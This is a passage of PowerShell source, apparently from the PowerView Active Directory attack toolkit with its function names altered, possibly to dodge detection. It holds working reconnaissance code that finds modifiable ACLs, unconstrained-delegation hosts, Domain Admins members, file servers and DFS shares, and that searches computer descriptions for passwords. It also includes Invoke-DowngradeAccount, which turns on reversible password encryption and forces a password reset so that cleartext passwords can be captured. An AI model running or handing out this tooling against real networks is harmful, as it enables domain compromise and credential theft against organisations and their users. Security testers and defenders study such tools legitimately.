$SamAccountName,
[String]
$Name = "*",
[Alias('DN')]
[String]
$DistinguishedName = "*",
[String]
$Filter,
[String]
$ADSpath,
[String]
$ADSprefix,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$ResolveGUIDs,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
# Get all domain ACLs with the appropriate parameters
Get-ObjectACL @PSBoundParameters | ForEach-Object {
# add in the translated SID for the object identity
$_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
$_
} | Where-Object {
# check for any ACLs with SIDs > -1000
try {
# TODO: change this to a regex for speedup?
[int]($_.IdentitySid.split("-")[-1]) -ge 1000
}
catch {}
} | Where-Object {
# filter for modifiable rights
($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
}
}
filter Get-GUIDMap {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
$SchemaPath = (Get-ThisThingForest).schema.name
$SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
if($SchemaSearcher) {
$SchemaSearcher.filter = "(schemaIDGUID=*)"
try {
$Results = $SchemaSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# convert the GUID
$GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
}
$Results.dispose()
$SchemaSearcher.dispose()
}
catch {
Write-Verbose "Error in building GUID map: $_"
}
}
$RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
if ($RightsSearcher) {
$RightsSearcher.filter = "(objectClass=controlAccessRight)"
try {
$Results = $RightsSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# convert the GUID
$GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
}
$Results.dispose()
$RightsSearcher.dispose()
}
catch {
Write-Verbose "Error in building GUID map: $_"
}
}
$GUIDs
}
function Get-ThisThingComputer {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
[String]
$ComputerName = '*',
[String]
$SPN,
[String]
$OperatingSystem,
[String]
$ServicePack,
[String]
$Filter,
[Switch]
$Printers,
[Switch]
$Ping,
[Switch]
$FullData,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[String]
$SiteName,
[Switch]
$Unconstrained,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
# so this isn't repeated if multiple computer names are passed on the pipeline
$CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
}
process {
if ($CompSearcher) {
# if we're checking for unconstrained delegation
if($Unconstrained) {
Write-Verbose "Searching for computers with for unconstrained delegation"
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
}
# set the filters for the seracher if it exists
if($Printers) {
Write-Verbose "Searching for printers"
# $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
$Filter += "(objectCategory=printQueue)"
}
if($SPN) {
Write-Verbose "Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if($OperatingSystem) {
$Filter += "(operatingsystem=$OperatingSystem)"
}
if($ServicePack) {
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if($SiteName) {
$Filter += "(serverreferencebl=$SiteName)"
}
$CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
Write-Verbose "Get-ThisThingComputer filter : '$CompFilter'"
$CompSearcher.filter = $CompFilter
try {
$Results = $CompSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if($Ping) {
# TODO: how can these results be piped to ping for a speedup?
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if($Up) {
# return full data objects
if ($FullData) {
# convert/process the LDAP fields for each result
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Add('PowerView.Computer')
$Computer
}
else {
# otherwise we're just returning the DNS host name
$_.properties.dnshostname
}
}
}
$Results.dispose()
$CompSearcher.dispose()
}
catch {
Write-Warning "Error: $_"
}
}
}
}
function Get-ADObject {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$SID,
[String]
$Name,
[String]
$SamAccountName,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[String]
$Filter,
[Switch]
$ReturnRaw,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
process {
if($SID) {
# if a SID is passed, try to resolve it to a reachable domain name for the searcher
try {
$Name = Convert-SidToName $SID
if($Name) {
$Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
if($Canonical) {
$Domain = $Canonical.split("/")[0]
}
else {
Write-Warning "Error resolving SID '$SID'"
return $Null
}
}
}
catch {
Write-Warning "Error resolving SID '$SID' : $_"
return $Null
}
}
$ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if($ObjectSearcher) {
if($SID) {
$ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
}
elseif($Name) {
$ObjectSearcher.filter = "(&(name=$Name)$Filter)"
}
elseif($SamAccountName) {
$ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
}
$Results = $ObjectSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
if($ReturnRaw) {
$_
}
else {
# convert/process the LDAP fields for each result
Convert-LDAPProperty -Properties $_.Properties
}
}
$Results.dispose()
$ObjectSearcher.dispose()
}
}
}
function Set-ADObject {
[CmdletBinding()]
Param (
[String]
$SID,
[String]
$Name,
[String]
$SamAccountName,
[String]
$Domain,
[String]
$DomainController,
[String]
$Filter,
[Parameter(Mandatory = $True)]
[String]
$PropertyName,
$PropertyValue,
[Int]
$PropertyXorValue,
[Switch]
$ClearValue,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
$Arguments = @{
'SID' = $SID
'Name' = $Name
'SamAccountName' = $SamAccountName
'Domain' = $Domain
'DomainController' = $DomainController
'Filter' = $Filter
'PageSize' = $PageSize
'Credential' = $Credential
}
# splat the appropriate arguments to Get-ADObject
$RawObject = Get-ADObject -ReturnRaw @Arguments
try {
# get the modifiable object for this search result
$Entry = $RawObject.GetDirectoryEntry()
if($ClearValue) {
Write-Verbose "Clearing value"
$Entry.$PropertyName.clear()
$Entry.commitchanges()
}
elseif($PropertyXorValue) {
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
$Entry.commitchanges()
}
else {
$Entry.put($PropertyName, $PropertyValue)
$Entry.setinfo()
}
}
catch {
Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
}
}
function Invoke-DowngradeAccount {
[CmdletBinding()]
Param (
[Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
[String]
$SamAccountName,
[Parameter(ParameterSetName = 'Name')]
[String]
$Name,
[String]
$Domain,
[String]
$DomainController,
[String]
$Filter,
[Switch]
$Repair,
[Management.Automation.PSCredential]
$Credential
)
process {
$Arguments = @{
'SamAccountName' = $SamAccountName
'Name' = $Name
'Domain' = $Domain
'DomainController' = $DomainController
'Filter' = $Filter
'Credential' = $Credential
}
# splat the appropriate arguments to Get-ADObject
$UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
if($Repair) {
if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
# if reversible encryption is set, unset it
Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
}
# unset the forced password change
Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
}
else {
if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
# if the password is set to never expire, unset
Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
}
if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
# if reversible encryption is not set, set it
Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
}
# force the password to be changed on next login
Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
}
}
}
function Get-ComputerProperty {
[CmdletBinding()]
param(
[String[]]
$Properties,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
if($Properties) {
# extract out the set of all properties for each object
$Properties = ,"name" + $Properties | Sort-Object -Unique
Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
}
else {
# extract out just the property names
Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
}
}
function Find-ComputerField {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('Term')]
[String]
$SearchTerm = 'pass',
[Alias('Field')]
[String]
$SearchField = 'description',
[String]
$ADSpath,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
process {
Get-ThisThingComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}
}
function Get-ThisThingOU {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$OUName = '*',
[String]
$GUID,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[Switch]
$FullData,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
$OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
if ($OUSearcher) {
if ($GUID) {
# if we're filtering for a GUID in .gplink
$OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
}
else {
$OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
}
try {
$Results = $OUSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
if ($FullData) {
# convert/process the LDAP fields for each result
$OU = Convert-LDAPProperty -Properties $_.Properties
$OU.PSObject.TypeNames.Add('PowerView.OU')
$OU
}
else {
# otherwise just returning the ADS paths of the OUs
$_.properties.adspath
}
}
$Results.dispose()
$OUSearcher.dispose()
}
catch {
Write-Warning $_
}
}
}
}
function Get-ThisThingSite {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$SiteName = "*",
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[String]
$GUID,
[Switch]
$FullData,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
$SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
}
process {
if($SiteSearcher) {
if ($GUID) {
# if we're filtering for a GUID in .gplink
$SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
}
else {
$SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
}
try {
$Results = $SiteSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
if ($FullData) {
# convert/process the LDAP fields for each result
$Site = Convert-LDAPProperty -Properties $_.Properties
$Site.PSObject.TypeNames.Add('PowerView.Site')
$Site
}
else {
# otherwise just return the site name
$_.properties.name
}
}
$Results.dispose()
$SiteSearcher.dispose()
}
catch {
Write-Verbose $_
}
}
}
}
function Get-ThisThingSubnet {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$SiteName = "*",
[String]
$Domain,
[String]
$ADSpath,
[String]
$DomainController,
[Switch]
$FullData,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
$SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
}
process {
if($SubnetSearcher) {
$SubnetSearcher.filter="(&(objectCategory=subnet))"
try {
$Results = $SubnetSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
if ($FullData) {
# convert/process the LDAP fields for each result
Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
}
else {
# otherwise just return the subnet name and site name
if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {
$SubnetProperties = @{
'Subnet' = $_.properties.name[0]
}
try {
$SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
}
catch {
$SubnetProperties['Site'] = 'Error'
}
New-Object -TypeName PSObject -Property $SubnetProperties
}
}
}
$Results.dispose()
$SubnetSearcher.dispose()
}
catch {
Write-Warning $_
}
}
}
}
function Get-DomainSID {
param(
[String]
$Domain,
[String]
$DomainController
)
$DCSID = Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
if($DCSID) {
$DCSID.Substring(0, $DCSID.LastIndexOf('-'))
}
else {
Write-Verbose "Error extracting domain SID for $Domain"
}
}
function Get-ThisThingGroup {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$GroupName = '*',
[String]
$SID,
[String]
$UserName,
[String]
$Filter,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[Switch]
$AdminCount,
[Switch]
$FullData,
[Switch]
$RawSids,
[Switch]
$AllTypes,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
$GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if (!$AllTypes)
{
$Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"
}
}
process {
if($GroupSearcher) {
if($AdminCount) {
Write-Verbose "Checking for adminCount=1"
$Filter += "(admincount=1)"
}
if ($UserName) {
# get the raw user object
$User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1
if($User) {
# convert the user to a directory entry
$UserDirectoryEntry = $User.GetDirectoryEntry()
# cause the cache to calculate the token groups for the user
$UserDirectoryEntry.RefreshCache("tokenGroups")
$UserDirectoryEntry.TokenGroups | ForEach-Object {
# convert the token group sid
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
# ignore the built in groups
if($GroupSid -notmatch '^S-1-5-32-.*') {
if($FullData) {
$Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
$Group.PSObject.TypeNames.Add('PowerView.Group')
$Group
}
else {
if($RawSids) {
$GroupSid
}
else {
Convert-SidToName -SID $GroupSid
}
}
}
}
}
else {
Write-Warning "UserName '$UserName' failed to resolve."
}
}
else {
if ($SID) {
$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
}
else {
$GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
}
$Results = $GroupSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# if we're returning full data objects
if ($FullData) {
# convert/process the LDAP fields for each result
$Group = Convert-LDAPProperty -Properties $_.Properties
$Group.PSObject.TypeNames.Add('PowerView.Group')
$Group
}
else {
# otherwise we're just returning the group name
$_.properties.samaccountname
}
}
$Results.dispose()
$GroupSearcher.dispose()
}
}
}
}
function Get-ThisThingGroupMember {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$GroupName,
[String]
$SID,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[Switch]
$FullData,
[Switch]
$Recurse,
[Switch]
$UseMatchingRule,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
if($DomainController) {
$TargetDomainController = $DomainController
}
else {
$TargetDomainController = ((Get-ThisThingDomain -Credential $Credential).PdcRoleOwner).Name
}
if($Domain) {
$TargetDomain = $Domain
}
else {
$TargetDomain = Get-ThisThingDomain -Credential $Credential | Select-Object -ExpandProperty name
}
# so this isn't repeated if users are passed on the pipeline
$GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
if ($GroupSearcher) {
if ($Recurse -and $UseMatchingRule) {
# resolve the group to a distinguishedname
if ($GroupName) {
$Group = Get-ThisThingGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
}
elseif ($SID) {
$Group = Get-ThisThingGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
}
else {
# default to domain admins
$SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
$Group = Get-ThisThingGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
}
$GroupDN = $Group.distinguishedname
$GroupFoundName = $Group.samaccountname
if ($GroupDN) {
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
$Members = $GroupSearcher.FindAll()
$GroupFoundName = $GroupName
}
else {
Write-Error "Unable to find Group"
}
}
else {
if ($GroupName) {
$GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
}
elseif ($SID) {
$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
}
else {
# default to domain admins
$SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
}
try {
$Result = $GroupSearcher.FindOne()
}
catch {
$Members = @()
}
$GroupFoundName = ''
if ($Result) {
$Members = $Result.properties.item("member")
if($Members.count -eq 0) {
$Finished = $False
$Bottom = 0
$Top = 0
while(!$Finished) {
$Top = $Bottom + 1499
$MemberRange="member;range=$Bottom-$Top"
$Bottom += 1500
$GroupSearcher.PropertiesToLoad.Clear()
[void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
[void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")
try {
$Result = $GroupSearcher.FindOne()
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
$Members += $Result.Properties.item($RangedProperty)
$GroupFoundName = $Result.properties.item("samaccountname")[0]
if ($Members.count -eq 0) {
$Finished = $True
}
}
catch [System.Management.Automation.MethodInvocationException] {
$Finished = $True
}
}
}
else {
$GroupFoundName = $Result.properties.item("samaccountname")[0]
$Members += $Result.Properties.item($RangedProperty)
}
}
$GroupSearcher.dispose()
}
$Members | Where-Object {$_} | ForEach-Object {
# if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
if ($Recurse -and $UseMatchingRule) {
$Properties = $_.Properties
}
else {
if($TargetDomainController) {
$Result = [adsi]"LDAP://$TargetDomainController/$_"
}
else {
$Result = [adsi]"LDAP://$_"
}
if($Result){
$Properties = $Result.Properties
}
}
if($Properties) {
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
if ($FullData) {
$GroupMember = Convert-LDAPProperty -Properties $Properties
}
else {
$GroupMember = New-Object PSObject
}
$GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
if($Properties.objectSid) {
$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
}
else {
$MemberSID = $Null
}
try {
$MemberDN = $Properties.distinguishedname[0]
if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
try {
if(-not $MemberSID) {
$MemberSID = $Properties.cn[0]
}
$MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'
if($MemberSimpleName) {
$MemberDomain = $MemberSimpleName.Split('@')[1]
}
else {
Write-Warning "Error converting $MemberDN"
$MemberDomain = $Null
}
}
catch {
Write-Warning "Error converting $MemberDN"
$MemberDomain = $Null
}
}
else {
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
}
}
catch {
$MemberDN = $Null
$MemberDomain = $Null
}
if ($Properties.samaccountname) {
# forest users have the samAccountName set
$MemberName = $Properties.samaccountname[0]
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = Convert-SidToName $Properties.cn[0]
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $Properties.cn
}
}
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
$GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
$GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
$GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
$GroupMember
# if we're doing manual recursion
if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
if($FullData) {
Get-ThisThingGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
}
else {
Get-ThisThingGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
}
}
}
}
}
}
}
function Get-ThisThingFileServer {
[CmdletBinding()]
param(
[String]
$Domain,
[String]
$DomainController,
[String[]]
$TargetUsers,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
function SplitPath {
# short internal helper to split UNC server paths
param([String]$Path)
if ($Path -and ($Path.split("\\").Count -ge 3)) {
$Temp = $Path.split("\\")[2]
if($Temp -and ($Temp -ne '')) {
$Temp
}
}
}
$filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))"
Get-ThisThingUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {
# filter for any target users
if($TargetUsers) {
$TargetUsers -Match $_.samAccountName
}
else { $True }
} | ForEach-Object {
# split out every potential file server path
if($_.homedirectory) {
SplitPath($_.homedirectory)
}
if($_.scriptpath) {
SplitPath($_.scriptpath)
}
if($_.profilepath) {
SplitPath($_.profilepath)
}
} | Where-Object {$_} | Sort-Object -Unique
}
function Get-DFSshare {
[CmdletBinding()]
param(
[String]
[ValidateSet("All","V1","1","V2","2")]
$Version = "All",
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
function Parse-Pkt {
[CmdletBinding()]
param(
[byte[]]
$Pkt
)
$bin = $Pkt
$blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
$blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
$offset = 8
#https://msdn.microsoft.com/en-us/library/cc227147.aspx
$object_list = @()
for($i=1; $i -le $blob_element_count; $i++){
$blob_name_size_start = $offset
$blob_name_size_end = $offset + 1
$blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
$blob_name_start = $blob_name_size_end + 1
$blob_name_end = $blob_name_start + $blob_name_size - 1
$blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
$blob_data_size_start = $blob_name_end + 1
$blob_data_size_end = $blob_data_size_start + 3
$blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
$blob_data_start = $blob_data_size_end + 1
$blob_data_end = $blob_data_start + $blob_data_size - 1
$blob_data = $bin[$blob_data_start..$blob_data_end]
switch -wildcard ($blob_name) {
"\siteroot" { }
"\domainroot*" {
# Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
# DFSRootOrLinkIDBlob
$root_or_link_guid_start = 0
$root_or_link_guid_end = 15
$root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
$guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
$prefix_size_start = $root_or_link_guid_end + 1
$prefix_size_end = $prefix_size_start + 1
$prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
$prefix_start = $prefix_size_end + 1
$prefix_end = $prefix_start + $prefix_size - 1
$prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
$short_prefix_size_start = $prefix_end + 1
$short_prefix_size_end = $short_prefix_size_start + 1
$short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
$short_prefix_start = $short_prefix_size_end + 1
$short_prefix_end = $short_prefix_start + $short_prefix_size - 1
$short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
$type_start = $short_prefix_end + 1
$type_end = $type_start + 3
$type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
$state_start = $type_end + 1
$state_end = $state_start + 3
$state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
$comment_size_start = $state_end + 1
$comment_size_end = $comment_size_start + 1
$comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
$comment_start = $comment_size_end + 1
$comment_end = $comment_start + $comment_size - 1
if ($comment_size -gt 0) {
$comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
}
$prefix_timestamp_start = $comment_end + 1
$prefix_timestamp_end = $prefix_timestamp_start + 7
# https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
$prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
$state_timestamp_start = $prefix_timestamp_end + 1
$state_timestamp_end = $state_timestamp_start + 7
$state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
$comment_timestamp_start = $state_timestamp_end + 1
$comment_timestamp_end = $comment_timestamp_start + 7
$comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
$version_start = $comment_timestamp_end + 1
$version_end = $version_start + 3
$version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
# Parse rest of DFSNamespaceRootOrLinkBlob here
$dfs_targetlist_blob_size_start = $version_end + 1
$dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
$dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
$dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
$dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
$reserved_blob_size_start = $dfs_targetlist_blob_end + 1
$reserved_blob_size_end = $reserved_blob_size_start + 3
$reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
$reserved_blob_start = $reserved_blob_size_end + 1
$reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
$reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
$referral_ttl_start = $reserved_blob_end + 1
$referral_ttl_end = $referral_ttl_start + 3
$referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
#Parse DFSTargetListBlob
$target_count_start = 0
$target_count_end = $target_count_start + 3
$target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
$t_offset = $target_count_end + 1
for($j=1; $j -le $target_count; $j++){
$target_entry_size_start = $t_offset
